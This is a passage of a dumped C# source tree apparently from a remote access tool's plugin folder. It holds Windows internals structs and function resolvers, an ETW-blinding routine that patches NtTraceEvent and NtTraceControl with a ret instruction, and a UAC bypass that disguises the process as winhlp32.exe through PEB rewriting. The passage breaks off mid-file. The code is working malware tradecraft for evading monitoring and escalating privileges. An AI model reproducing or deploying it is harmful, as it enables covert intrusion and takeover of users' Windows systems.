    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\n/*\n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Special\n{\n    internal static partial class Commons\n    {\n        #region \"PE\"\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct ImageDosHeader\n        {\n            public ushort e_magic;    // Magic number\n            public ushort e_cblp;     // Bytes on last page of file\n            public ushort e_cp;       // Pages in file\n            public ushort e_crlc;     // Relocations\n            public ushort e_cparhdr;  // Size of header in paragraphs\n            public ushort e_minalloc; // Minimum extra paragraphs needed\n            public ushort e_maxalloc; // Maximum extra paragraphs needed\n            public ushort e_ss;       // Initial (relative) SS value\n            public ushort e_sp;       // Initial SP value\n            public ushort e_csum;     // Checksum\n            public ushort e_ip;       // Initial IP value\n            public ushort e_cs;       // Initial (relative) CS value\n            public ushort e_lfarlc;   // File address of relocation table\n            public ushort e_ovno;     // Overlay number\n            public ushort e_res1a, e_res1b, e_res1c, e_res1d; // Reserved words //    WORD   e_res[4];\n            public ushort e_oemid;    // OEM identifier (for e_oeminfo)\n            public ushort e_oeminfo;  // OEM information; e_oemid specific\n            public ushort e_res2a, e_res2b, e_res2c, e_res2d, e_res2e, e_res2f, e_res2g, e_res2h, e_res2i, e_res2j; // Reserved words     WORD   e_res2[10];  \n            public int e_lfanew;      // File address of new exe header\n        }\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct ImageOptionalHeader32\n        {\n            public MagicType Magic;\n            public byte MajorLinkerVersion;\n            public byte MinorLinkerVersion;\n            public uint SizeOfCode;\n            public uint SizeOfInitializedData;\n            public uint SizeOfUninitializedData;\n            public uint AddressOfEntryPoint;\n            public uint BaseOfCode;\n            public uint BaseOfData;\n            public uint ImageBaseLong;\n            public uint SectionAlignment;\n            public uint FileAlignment;\n            public ushort MajorOperatingSystemVersion;\n            public ushort MinorOperatingSystemVersion;\n            public ushort MajorImageVersion;\n            public ushort MinorImageVersion;\n            public ushort MajorSubsystemVersion;\n            public ushort MinorSubsystemVersion;\n            public uint Win32VersionValue;\n            public uint SizeOfImage;\n            public uint SizeOfHeaders;\n            public uint CheckSum;\n            public SubSystemType Subsystem;\n            public DllCharacteristics DllCharacteristics;\n            public IntPtr SizeOfStackReserve;\n            public IntPtr SizeOfStackCommit;\n            public IntPtr SizeOfHeapReserve;\n            public IntPtr SizeOfHeapCommit;\n            public uint LoaderFlags;\n            public uint NumberOfRvaAndSizes;\n            public ImageDataDirectory ExportTable;//ImageExportDirectory\n            public ImageDataDirectory ImportTable;\n            public ImageDataDirectory ResourceTable;//ImageResourceDirectory\n            public ImageDataDirectory ExceptionTable;\n            public ImageDataDirectory CertificateTable;\n            public ImageDataDirectory BaseRelocationTable;\n            public ImageDataDirectory Debug;//ImageDebugDirectory\n            public ImageDataDirectory Architecture;\n            public ImageDataDirectory GlobalPtr;\n            public ImageDataDirectory TLSTable;\n            public ImageDataDirectory LoadConfigTable;\n            public ImageDataDirectory BoundImport;\n            public ImageDataDirectory IAT;\n            public ImageDataDirectory DelayImportDescriptor;\n            public ImageDataDirectory CLRRuntimeHeader;\n            public ImageDataDirectory Reserved;\n        }\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct ImageDataDirectory\n        {\n            public uint VirtualAddress;\n            public uint Size;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct ImageOptionalHeader64\n        {\n            public MagicType Magic;\n            public byte MajorLinkerVersion;\n            public byte MinorLinkerVersion;\n            public uint SizeOfCode;\n            public uint SizeOfInitializedData;\n            public uint SizeOfUninitializedData;\n            public uint AddressOfEntryPoint;\n            public uint BaseOfCode;\n            public ulong ImageBaseLong;\n            public uint SectionAlignment;\n            public uint FileAlignment;\n            public ushort MajorOperatingSystemVersion;\n            public ushort MinorOperatingSystemVersion;\n            public ushort MajorImageVersion;\n            public ushort MinorImageVersion;\n            public ushort MajorSubsystemVersion;\n            public ushort MinorSubsystemVersion;\n            public uint Win32VersionValue;\n            public uint SizeOfImage;\n            public uint SizeOfHeaders;\n            public uint CheckSum;\n            public SubSystemType Subsystem;\n            public DllCharacteristics DllCharacteristics;\n            public IntPtr SizeOfStackReserve;\n            public IntPtr SizeOfStackCommit;\n            public IntPtr SizeOfHeapReserve;\n            public IntPtr SizeOfHeapCommit;\n            public uint LoaderFlags;\n            public uint NumberOfRvaAndSizes;\n            public ImageDataDirectory ExportTable;//ImageExportDirectory\n            public ImageDataDirectory ImportTable;\n            public ImageDataDirectory ResourceTable;//ImageResourceDirectory\n            public ImageDataDirectory ExceptionTable;\n            public ImageDataDirectory CertificateTable;\n            public ImageDataDirectory BaseRelocationTable;\n            public ImageDataDirectory Debug;//ImageDebugDirectory\n            public ImageDataDirectory Architecture;\n            public ImageDataDirectory GlobalPtr;\n            public ImageDataDirectory TLSTable;\n            public ImageDataDirectory LoadConfigTable;\n            public ImageDataDirectory BoundImport;\n            public ImageDataDirectory IAT;\n            public ImageDataDirectory DelayImportDescriptor;\n            public ImageDataDirectory CLRRuntimeHeader;\n            public ImageDataDirectory Reserved;\n        }\n\n        [StructLayout(LayoutKind.Explicit)]\n        internal struct ImageExportDirectory\n        {\n            [FieldOffset(0)]\n            public int Characteristics;\n            [FieldOffset(4)]\n            public int TimeDateStamp;\n            [FieldOffset(8)]\n            public short MajorVersion;\n            [FieldOffset(10)]\n            public short MinorVersion;\n            [FieldOffset(12)]\n            public int NameRVA;\n            [FieldOffset(16)]\n            public int OrdinalBase;\n            [FieldOffset(20)]\n            public int NumberOfFunctions;      //Address TableEntries\n            [FieldOffset(24)]\n            public int NumberOfNames;          // Number of Name Pointers\n            [FieldOffset(28)]\n            public int AddressOfFunctions;     // RVA from base of image Export Address Table RVA \n            [FieldOffset(32)]\n            public int AddressOfNames;         // RVA from base of image Name Pointer RVA\n            [FieldOffset(36)]\n            public int AddressOfNameOrdinals;  // RVA from base of image OrdinalTable RVA\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct ImageFileHeader\n        {\n            public Machine Machine;\n            public ushort NumberOfSections;\n            public uint TimeDateStamp;\n            public uint PointerToSymbolTable;\n            public uint NumberOfSymbols;\n            public ushort SizeOfOptionalHeader;\n            public Characteristics Characteristics;\n        }\n        #endregion      \n        #region \"Process\"\n        internal static readonly IntPtr CurrentProc = (IntPtr)(-1);\n\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct ProcessBasicInformation\n        {\n            public NtStatus ExitStatus;\n            public IntPtr PebBaseAddress;\n            public IntPtr AffinityMask;\n            public int BasePriority;\n            public IntPtr UniqueProcessId;\n            public IntPtr InheritedFromUniqueProcessId;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        internal unsafe struct PEB32\n        {\n            [MarshalAs(UnmanagedType.U1)]\n            public bool InheritedAddressSpace;\n            [MarshalAs(UnmanagedType.U1)]\n            public bool ReadImageFileExecOptions;\n            [MarshalAs(UnmanagedType.U1)]\n            public bool BeingDebugged;\n            public PebFlags PebFlags;\n            public int Mutant;\n            public IntPtr ImageBaseAddress;\n            public IntPtr Ldr; // PPEB_LDR_DATA\n            public IntPtr ProcessParameters; // PRTL_USER_PROCESS_PARAMETERS\n            public IntPtr SubSystemData;//int\n            public IntPtr ProcessHeap;//int\n            public IntPtr FastPebLock;//int -> PRTL_CRITICAL_SECTION\n\n            public IntPtr FastPebLockRoutine;// -> PPEBLOCKROUTINE\n            public IntPtr FastPebUnlockRoutine;\n            public uint EnvironmentUpdateCount;\n            public IntPtr KernelCallbackTable;\n            public uint Reserved1;\n            public uint Reserved2;\n            public IntPtr FreeList;// -> PPEB_FREE_BLOCK\n            public uint TlsExpansionCounter;\n            public IntPtr TlsBitmap; // -> PRTL_BITMAP\n            public uint TlsBitmapBits1;\n            public uint TlsBitmapBits2;\n            public IntPtr ReadOnlySharedMemoryBase;\n            public IntPtr ReadOnlySharedMemoryHeap;\n            public void** ReadOnlyStaticServerData;\n\n            public IntPtr AnsiCodePageData;                  /* 058/0a0 */\n            public IntPtr OemCodePageData;                   /* 05c/0a8 */\n            public IntPtr UnicodeCaseTableData;              /* 060/0b0 */\n            public uint NumberOfProcessors;\n            public uint NtGlobalFlags;\n\n\n            ///\n            public LargeInteger CriticalSectionTimeout;            /* LARGE_INTEGER */\n            public UIntPtr HeapSegmentReserve;                /* SIZE_T */\n            public UIntPtr HeapSegmentCommit;                 /* SIZE_T */\n            public UIntPtr HeapDeCommitTotalFreeThreshold;    /* SIZE_T */\n            public UIntPtr HeapDeCommitFreeBlockThreshold;    /* SIZE_T */\n            public uint NumberOfHeaps;                     /* 088/0e8 */\n            public uint MaximumNumberOfHeaps;              /* 08c/0ec */\n            public void** ProcessHeaps;                      /* PVOID* */\n            IntPtr GdiSharedHandleTable;              /* PVOID */\n            IntPtr ProcessStarterHelper;              /* PVOID */\n            IntPtr GdiDCAttributeList;                /* PVOID */\n            IntPtr LoaderLock;                        /* PVOID */\n            public uint OSMajorVersion;                    /* ULONG */\n            public uint OSMinorVersion;                    /* ULONG */\n            public uint OSBuildNumber;                     /* ULONG */ //WORKS\n            public uint OSPlatformId;                      /* ULONG */\n            public SubSystemType4Bytes ImageSubSystem;                    /* ULONG */\n            public uint ImageSubSystemMajorVersion;        /* ULONG */\n            public uint ImageSubSystemMinorVersion;        /* ULONG */\n            public uint ImageProcessAffinityMask;          /* ULONG */\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        internal unsafe struct PEB64\n        {\n            [MarshalAs(UnmanagedType.U1)]\n            public bool InheritedAddressSpace;\n            [MarshalAs(UnmanagedType.U1)]\n            public bool ReadImageFileExecOptions;\n            [MarshalAs(UnmanagedType.U1)]\n            public bool BeingDebugged;\n            public PebFlags PebFlags;\n            public IntPtr Mutant;\n            public IntPtr ImageBaseAddress;\n            public IntPtr Ldr; // PPEB_LDR_DATA\n            public IntPtr ProcessParameters; // PRTL_USER_PROCESS_PARAMETERS\n            public IntPtr SubSystemData;\n            public IntPtr ProcessHeap;\n            public IntPtr FastPebLock;\n\n            public IntPtr FastPebLockRoutine;// -> PPEBLOCKROUTINE\n            public IntPtr FastPebUnlockRoutine;\n            public uint EnvironmentUpdateCount;\n            public IntPtr KernelCallbackTable;\n            public uint Reserved1;\n            public uint Reserved2;\n            public IntPtr FreeList;// -> PPEB_FREE_BLOCK\n            public uint TlsExpansionCounter;\n            public IntPtr TlsBitmap; // -> PRTL_BITMAP\n            public uint TlsBitmapBits1;\n            public uint TlsBitmapBits2;\n            public IntPtr ReadOnlySharedMemoryBase;\n            public IntPtr ReadOnlySharedMemoryHeap;\n            public void** ReadOnlyStaticServerData;\n\n            public IntPtr AnsiCodePageData;                  /* 058/0a0 */\n            public IntPtr OemCodePageData;                   /* 05c/0a8 */\n            public IntPtr UnicodeCaseTableData;              /* 060/0b0 */\n            public uint NumberOfProcessors;\n            public uint NtGlobalFlags;\n\n\n            ///\n            public LargeInteger CriticalSectionTimeout;            /* LARGE_INTEGER */\n            public UIntPtr HeapSegmentReserve;                /* SIZE_T */\n            public UIntPtr HeapSegmentCommit;                 /* SIZE_T */\n            public UIntPtr HeapDeCommitTotalFreeThreshold;    /* SIZE_T */\n            public UIntPtr HeapDeCommitFreeBlockThreshold;    /* SIZE_T */\n            public uint NumberOfHeaps;                     /* 088/0e8 */\n            public uint MaximumNumberOfHeaps;              /* 08c/0ec */\n            public void** ProcessHeaps;                      /* PVOID* */\n            IntPtr GdiSharedHandleTable;              /* PVOID */\n            IntPtr ProcessStarterHelper;              /* PVOID */\n            IntPtr GdiDCAttributeList;                /* PVOID */\n            IntPtr LoaderLock;                        /* PVOID */\n            public uint OSMajorVersion;                    /* ULONG */\n            public uint OSMinorVersion;                    /* ULONG */\n            public uint OSBuildNumber;                     /* ULONG */ //WORKS\n            public uint OSPlatformId;                      /* ULONG */\n            public SubSystemType4Bytes ImageSubSystem;                    /* ULONG */\n            public uint ImageSubSystemMajorVersion;        /* ULONG */\n            public uint ImageSubSystemMinorVersion;        /* ULONG */\n            public uint ImageProcessAffinityMask;          /* ULONG */\n\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct ListEntry\n        {\n            public IntPtr Flink;\n            public IntPtr Blink;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct PebLdrData\n        {\n            public uint Length;\n            public bool Initialized;\n            public IntPtr SsHandle;\n            public ListEntry InLoadOrderModuleList;\n            public ListEntry InMemoryOrderModuleList;\n            public ListEntry InInitializationOrderModuleList;\n            public IntPtr EntryInProgress;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct LdrDataTableEntry\n        {\n            public ListEntry InLoadOrderLinks;\n            public ListEntry InMemoryOrderLinks;\n            public ListEntry InInitializationOrderLinks;\n            public IntPtr DllBase; //ModuleBaseAddress()\n            public IntPtr EntryPoint;\n            public uint SizeOfImage;\n            public UnicodeString FullDllName;\n            public UnicodeString BaseDllName;\n            public uint Flags;\n            public ushort LoadCount;\n            public ushort TlsIndex;\n        }\n        #endregion \n        #region \"Misc\"\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct UnicodeString : IDisposable\n        {\n            public ushort Length;\n            public ushort MaximumLength;\n            private IntPtr buffer;\n\n            public UnicodeString(string s)\n            {\n                Length = (ushort)(s.Length * 2);\n                MaximumLength = (ushort)(Length + 2);\n                buffer = Marshal.StringToHGlobalUni(s);\n            }\n\n            public void Dispose()\n            {\n                Marshal.FreeHGlobal(buffer);\n                buffer = IntPtr.Zero;\n            }\n\n            public override string ToString()\n            {\n                return Marshal.PtrToStringUni(buffer);\n            }\n        }\n\n\n        [StructLayout(LayoutKind.Explicit, Size = 8)]\n        internal struct LargeInteger\n        {\n            [FieldOffset(0)] public long QuadPart;\n\n            [FieldOffset(0)] public uint LowPart;\n            [FieldOffset(4)] public int HighPart;\n\n            [FieldOffset(0)] public int LowPartAsInt;\n            [FieldOffset(0)] public uint LowPartAsUInt;\n\n            [FieldOffset(4)] public int HighPartAsInt;\n            [FieldOffset(4)] public uint HighPartAsUInt;\n        }\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct BIND_OPTS3\n        {\n            public uint cbStruct;\n            public uint grfFlags;\n            public uint grfMode;\n            public uint dwTickCountDeadline;\n            public uint dwTrackFlags;\n            public uint dwClassContext;\n            public int locale;\n            public IntPtr pServerInfo; // will be passing null, so type doesn't matter\n            public IntPtr hwnd;\n        }\n        #endregion\n        #region \"Shutdown\"\n        internal enum HARDERROR_RESPONSE_OPTION : uint\n        {\n            OptionAbortRetryIgnore = 0,\n            OptionOk = 1,\n            OptionOkCancel = 2,\n            OptionRetryCancel = 3,\n            OptionYesNo = 4,\n            OptionYesNoCancel = 5,\n            OptionShutdownSystem = 6\n        }\n\n        internal enum HARDERROR_RESPONSE : uint\n        {\n            ResponseReturnToCaller = 0,\n            ResponseNotHandled = 1,\n            ResponseAbort = 2,\n            ResponseCancel = 3,\n            ResponseIgnore = 4,\n            ResponseNo = 5,\n            ResponseOk = 6,\n            ResponseRetry = 7,\n            ResponseYes = 8\n        }\n\n        internal enum RTL_PRIVILEGES : uint\n        {\n            SeCreateTokenPrivilege = 1,\n            SeAssignPrimaryTokenPrivilege = 2,\n            SeLockMemoryPrivilege = 3,\n            SeIncreaseQuotaPrivilege = 4,\n            SeUnsolicitedInputPrivilege = 5,\n            SeMachineAccountPrivilege = 6,\n            SeTcbPrivilege = 7,\n            SeSecurityPrivilege = 8,\n            SeTakeOwnershipPrivilege = 9,\n            SeLoadDriverPrivilege = 10,\n            SeSystemProfilePrivilege = 11,\n            SeSystemtimePrivilege = 12,\n            SeProfileSingleProcessPrivilege = 13,\n            SeIncreaseBasePriorityPrivilege = 14,\n            SeCreatePagefilePrivilege = 15,\n            SeCreatePermanentPrivilege = 16,\n            SeBackupPrivilege = 17,\n            SeRestorePrivilege = 18,\n            SeShutdownPrivilege = 19,\n            SeDebugPrivilege = 20,\n            SeAuditPrivilege = 21,\n            SeSystemEnvironmentPrivilege = 22,\n            SeChangeNotifyPrivilege = 23,\n            SeRemoteShutdownPrivilege = 24,\n            SeUndockPrivilege = 25,\n            SeSyncAgentPrivilege = 26,\n            SeEnableDelegationPrivilege = 27,\n            SeManageVolumePrivilege = 28,\n            SeImpersonatePrivilege = 29,\n            SeCreateGlobalPrivilege = 30,\n            SeTrustedCredManAccessPrivilege = 31,\n            SeRelabelPrivilege = 32,\n            SeIncreaseWorkingSetPrivilege = 33,\n            SeTimeZonePrivilege = 34,\n            SeCreateSymbolicLinkPrivilege = 35\n        }\n        #endregion\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Special/DelegatesHandling.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing static Offline.Special.Commons;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Special\n{\n    internal class DelegatesHandling\n    {\n        internal unsafe static void PrepareDelegate()\n        {\n            IntPtr ntWriteVirtual = Resolver.GetExportAddress(\"ntdll.dll\", \"NtWriteVirtualMemory\");\n            IntPtr ntVirtualProtect = Resolver.GetExportAddress(\"ntdll.dll\", \"NtProtectVirtualMemory\");\n\n            IntPtr rtlInitUnicode = Resolver.GetExportAddress(\"ntdll.dll\", \"RtlInitUnicodeString\");\n            IntPtr rtlEnterCritical = Resolver.GetExportAddress(\"ntdll.dll\", \"RtlEnterCriticalSection\");\n            IntPtr rtlLeaveCritical = Resolver.GetExportAddress(\"ntdll.dll\", \"RtlLeaveCriticalSection\");\n\n            IntPtr coGet = Resolver.GetExportAddress(\"ole32.dll\", \"CoGetObject\");\n\n            ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntWriteVirtual, typeof(NtWriteVirtualMemory));    \n            ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntVirtualProtect, typeof(NtProtectVirtualMemory));\n            \n            rtlInitUnicodeString = (RtlInitUnicodeString)Marshal.GetDelegateForFunctionPointer(rtlInitUnicode, typeof(RtlInitUnicodeString));\n            rtlEnterCriticalSection = (RtlEnterCriticalSection)Marshal.GetDelegateForFunctionPointer(rtlEnterCritical, typeof(RtlEnterCriticalSection));\n            rtlLeaveCriticalSection = (RtlLeaveCriticalSection)Marshal.GetDelegateForFunctionPointer(rtlLeaveCritical, typeof(RtlLeaveCriticalSection));\n\n            coGetObject = (CoGetObject)Marshal.GetDelegateForFunctionPointer(coGet, typeof(CoGetObject));\n\n\n\n\n\n\n            IntPtr loadLib = Resolver.GetExportAddress(\"kernel32.dll\", \"LoadLibraryW\");\n            IntPtr virtualProt = Resolver.GetExportAddress(\"kernel32.dll\", \"VirtualProtect\");\n\n            loadLibrary = (LoadLibrary)Marshal.GetDelegateForFunctionPointer(loadLib, typeof(LoadLibrary));\n            virtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(virtualProt, typeof(VirtualProtect));\n\n\n\n\n\n\n\n            IntPtr rtlAdjustPriv = Resolver.GetExportAddress(\"ntdll.dll\", \"RtlAdjustPrivilege\");\n            IntPtr ntRaiseHard = Resolver.GetExportAddress(\"ntdll.dll\", \"NtRaiseHardError\");\n            rtlAdjustPrivilege = (RtlAdjustPrivilege)Marshal.GetDelegateForFunctionPointer(rtlAdjustPriv, typeof(RtlAdjustPrivilege));\n            ntRaiseHardError = (NtRaiseHardError)Marshal.GetDelegateForFunctionPointer(ntRaiseHard, typeof(NtRaiseHardError));\n\n\n\n\n\n            ntProtectVirtualMemorySafe = (NtProtectVirtualMemorySafe)Marshal.GetDelegateForFunctionPointer(ntVirtualProtect, typeof(NtProtectVirtualMemorySafe));\n\n\n\n\n\n            ntWriteVirtualMemorySafe = (NtWriteVirtualMemorySafe)Marshal.GetDelegateForFunctionPointer(ntWriteVirtual, typeof(NtWriteVirtualMemorySafe));\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Special/ETW.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing static Offline.Special.Commons;\n\n/*\n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Special\n{\n    internal static class ETW\n    {\n        /*[UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        unsafe delegate NtStatus NtProtectVirtualMemory\n            (\n                IntPtr ProcessHandle,\n                ref IntPtr BaseAddress,\n                ref uint NumberOfBytesToProtect,\n                PageAccessType NewAccessProtection,\n                ref PageAccessType OldAccessProtection\n            );\n\n        static NtProtectVirtualMemory ntProtectVirtualMemory;\n\n        static void PrepareDelegate()\n        {\n            IntPtr ntVirtualProtect = Resolver.GetExportAddress(\"ntdll.dll\", \"NtProtectVirtualMemory\");\n            ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntVirtualProtect, typeof(NtProtectVirtualMemory));\n        }*/\n\n        private static bool Patch(ref IntPtr address)\n        {\n            /*\n            In 64 bit :            \n            49 89 ca            ; mov r10, rcx    \n            b8 5e 00 00 00      ; mov eax, 0x5E      \n            0f 05               ; syscall    \n            c3                  ; ret            \n            =>\n            c3                  ; ret \n            89 ca               ; mov edx, ecx               \n            b8 5e 00 00 00      ; mov eax, 0x5E        \n            0f 05               ; syscall                \n            c3                  ; ret\n            \n            In 32 bit (W10 & W11) :\n\n            b8 5e 00 00 00      ; mov eax, 0x5E\n            ba 40 8b 30 4b      ; mov edx, 0x4B308B40         \n            ff d2               ; call edx           \n            c2 10 00            ; ret 0x10      \n            =>\n            c3                  ; ret\n            5e 00 00 00         ; pop esi & add byte ptr ds:[eax], al\n            ba 40 8b 30 4b      ; add byte ptr ds:[edx+0x4B308B40], bh      \n            ff d2               ; call edx             \n            c2 10 00            ; ret 0x10\n            */\n            PageAccessType flOld = new PageAccessType();\n            PageAccessType flOldLast = new PageAccessType();\n\n            byte[] retOpcode = new byte[] { 0xC3 };\n\n            uint sizeHookCode = (uint)retOpcode.Length;\n\n            if (address != IntPtr.Zero)\n            {\n                NtStatus n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeHookCode, PageAccessType.PAGE_EXECUTE_READWRITE, ref flOld);\n\n                if (n != NtStatus.Success)\n                    return false;\n\n                Marshal.Copy(retOpcode, 0, address, retOpcode.Length);\n\n                n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeHookCode, flOld, ref flOldLast);\n\n                if (n != NtStatus.Success)\n                    return false;\n\n                return true;\n            }\n            return false;\n        }\n\n        internal static bool BlockIt()\n        {\n            //PrepareDelegate();\n\n            IntPtr ntTraceEvent = Resolver.GetExportAddress(\"ntdll.dll\", \"NtTraceEvent\");\n            IntPtr ntTraceControl = Resolver.GetExportAddress(\"ntdll.dll\", \"NtTraceControl\");\n\n            IntPtr zwTraceEvent = Resolver.GetExportAddress(\"ntdll.dll\", \"ZwTraceEvent\");\n            IntPtr zwTraceControl = Resolver.GetExportAddress(\"ntdll.dll\", \"ZwTraceControl\");\n\n            bool b = Patch(ref ntTraceEvent);\n\n            if (b)\n                b = Patch(ref ntTraceControl);\n\n            if (b)\n                b = Patch(ref zwTraceEvent);\n\n            if (b)\n                b = Patch(ref zwTraceControl);\n\n            return b;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Special/PEB.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing static Offline.Special.Commons;\n\n/*\n|| AUTHOR : UAC bypass method from Oddvar Moe aka api0cradle. ||\n            * ucmCMLuaUtilShellExecMethod\n            *\n            * Purpose:\n            *\n            * Bypass UAC using AutoElevated undocumented CMLuaUtil interface.\n            * This function expects that supMasqueradeProcess was called on process initialization.\n            *\n|| Original C# version :  https://github.com/0xlane/BypassUAC ||\n|| github : https://github.com/arsium       ||\n|| This method combines PEB masquerading + abusing com object. Reworked imports in C# to make it working again :) ||\n*/\n\nnamespace Offline.Special\n{\n    internal class PEB\n    {\n        private static bool IsWOW64() => IntPtr.Size == 4;\n\n        private static IntPtr StructureToPtr(object obj)\n        {\n            IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(obj));\n            Marshal.StructureToPtr(obj, ptr, false);\n            return ptr;\n        }\n\n        private unsafe static void McfInitUnicodeString(IntPtr procHandle, IntPtr lpDestAddress, string uniStr)\n        {\n            UnicodeString masq = new UnicodeString(uniStr);\n            IntPtr masqPtr = StructureToPtr(masq);\n            UIntPtr lpNumberOfBytesWritten = UIntPtr.Zero;\n            uint sizeStruct = (uint)Marshal.SizeOf(typeof(UnicodeString));\n            PageAccessType flOld = new PageAccessType();\n\n            ntProtectVirtualMemory((void*)procHandle, (void*)lpDestAddress, &sizeStruct, PageAccessType.PAGE_READWRITE, &flOld);\n            ntWriteVirtualMemory(procHandle, lpDestAddress, masqPtr, (UIntPtr)Marshal.SizeOf(typeof(UnicodeString)), out lpNumberOfBytesWritten);\n        }\n\n        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n        private delegate IntPtr GetPeb();\n\n        internal static void MasqueradePEB()\n        {\n            IntPtr FullDllNamePtr, BaseDllNamePtr;\n\n            PEB32 peb32;\n            PEB64 peb64;\n\n            PebLdrData pld;\n\n            ProcessBasicInformation pbi = new ProcessBasicInformation();\n            IntPtr procHandle = CurrentProc;\n            IntPtr pbiPtr = StructureToPtr(pbi);\n\n            //NtStatus Status = ntQueryInformationProcess(procHandle, 0, pbiPtr, Marshal.SizeOf(pbi), ref result);\n\n            if (true)//(IsSuccess(Status))\n            {\n                pbi = (ProcessBasicInformation)Marshal.PtrToStructure(pbiPtr, typeof(ProcessBasicInformation));\n                if (IsWOW64())\n                {\n                    //GetPeb getPeb = (GetPeb)Marshal.GetDelegateForFunctionPointer(IntPtr.Size == 4 ? ASM.PebFucker(true) : ASM.PebFucker(false), typeof(GetPeb)); ;\n                    IntPtr getPeb = GetPebAddressDynamicWithoutAllocate();\n\n                    peb32 = (PEB32)Marshal.PtrToStructure(getPeb, typeof(PEB32));\n\n                    pld = (PebLdrData)Marshal.PtrToStructure(peb32.Ldr, typeof(PebLdrData));\n                    PebLdrData StartModule = (PebLdrData)Marshal.PtrToStructure(peb32.Ldr, typeof(PebLdrData));\n\n                    IntPtr pStartModuleInfo = StartModule.InLoadOrderModuleList.Flink;\n                    IntPtr pNextModuleInfo = pld.InLoadOrderModuleList.Flink;\n\n                    rtlEnterCriticalSection(peb32.FastPebLock);\n\n                    FullDllNamePtr = new IntPtr(pNextModuleInfo.ToInt32() + 0x24);\n                    BaseDllNamePtr = new IntPtr(pNextModuleInfo.ToInt32() + 0x2C);\n\n                    do\n                    {\n                        LdrDataTableEntry ldte = (LdrDataTableEntry)Marshal.PtrToStructure(pNextModuleInfo, typeof(LdrDataTableEntry));\n\n                        if (ldte.DllBase == peb32.ImageBaseAddress)\n                        {\n                            McfInitUnicodeString(procHandle, BaseDllNamePtr, \"winhlp32.exe\");\n                            McfInitUnicodeString(procHandle, FullDllNamePtr, $\"{System.Environment.GetEnvironmentVariable(\"SystemRoot\").ToLower()}\\\\winhlp32.exe\");\n                            break;\n                        }\n\n                        pNextModuleInfo = ldte.InLoadOrderLinks.Flink;\n\n                    } while (pNextModuleInfo != pStartModuleInfo);\n\n                    rtlLeaveCriticalSection(peb32.FastPebLock);\n                }\n                else\n                {\n                    //GetPeb getPeb = (GetPeb)Marshal.GetDelegateForFunctionPointer(IntPtr.Size == 4 ? ASM.PebFucker(true) : ASM.PebFucker(false), typeof(GetPeb)); ;\n                    IntPtr getPeb = GetPebAddressDynamicWithoutAllocate();\n\n                    peb64 = (PEB64)Marshal.PtrToStructure(getPeb, typeof(PEB64));\n\n                    pld = (PebLdrData)Marshal.PtrToStructure(peb64.Ldr, typeof(PebLdrData));\n                    PebLdrData StartModule = (PebLdrData)Marshal.PtrToStructure(peb64.Ldr, typeof(PebLdrData));\n\n                    IntPtr pStartModuleInfo = StartModule.InLoadOrderModuleList.Flink;\n                    IntPtr pNextModuleInfo = pld.InLoadOrderModuleList.Flink;\n\n                    rtlEnterCriticalSection(peb64.FastPebLock);\n\n                    FullDllNamePtr = new IntPtr(pNextModuleInfo.ToInt64() + 0x48);\n                    BaseDllNamePtr = new IntPtr(pNextModuleInfo.ToInt64() + 0x58);\n                    do\n                    {\n                        LdrDataTableEntry ldte = (LdrDataTableEntry)Marshal.PtrToStructure(pNextModuleInfo, typeof(LdrDataTableEntry));\n\n                        if (ldte.DllBase == peb64.ImageBaseAddress)\n                        {\n                            McfInitUnicodeString(procHandle, BaseDllNamePtr, \"winhlp32.exe\");\n                            McfInitUnicodeString(procHandle, FullDllNamePtr, $\"{System.Environment.GetEnvironmentVariable(\"SystemRoot\").ToLower()}\\\\winhlp32.exe\");\n                            break;\n                        }\n\n                        pNextModuleInfo = ldte.InLoadOrderLinks.Flink;\n\n                    } while (pNextModuleInfo != pStartModuleInfo);\n                    rtlLeaveCriticalSection(peb64.FastPebLock);\n                }\n                return;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Special/PEFromPEB.cs",
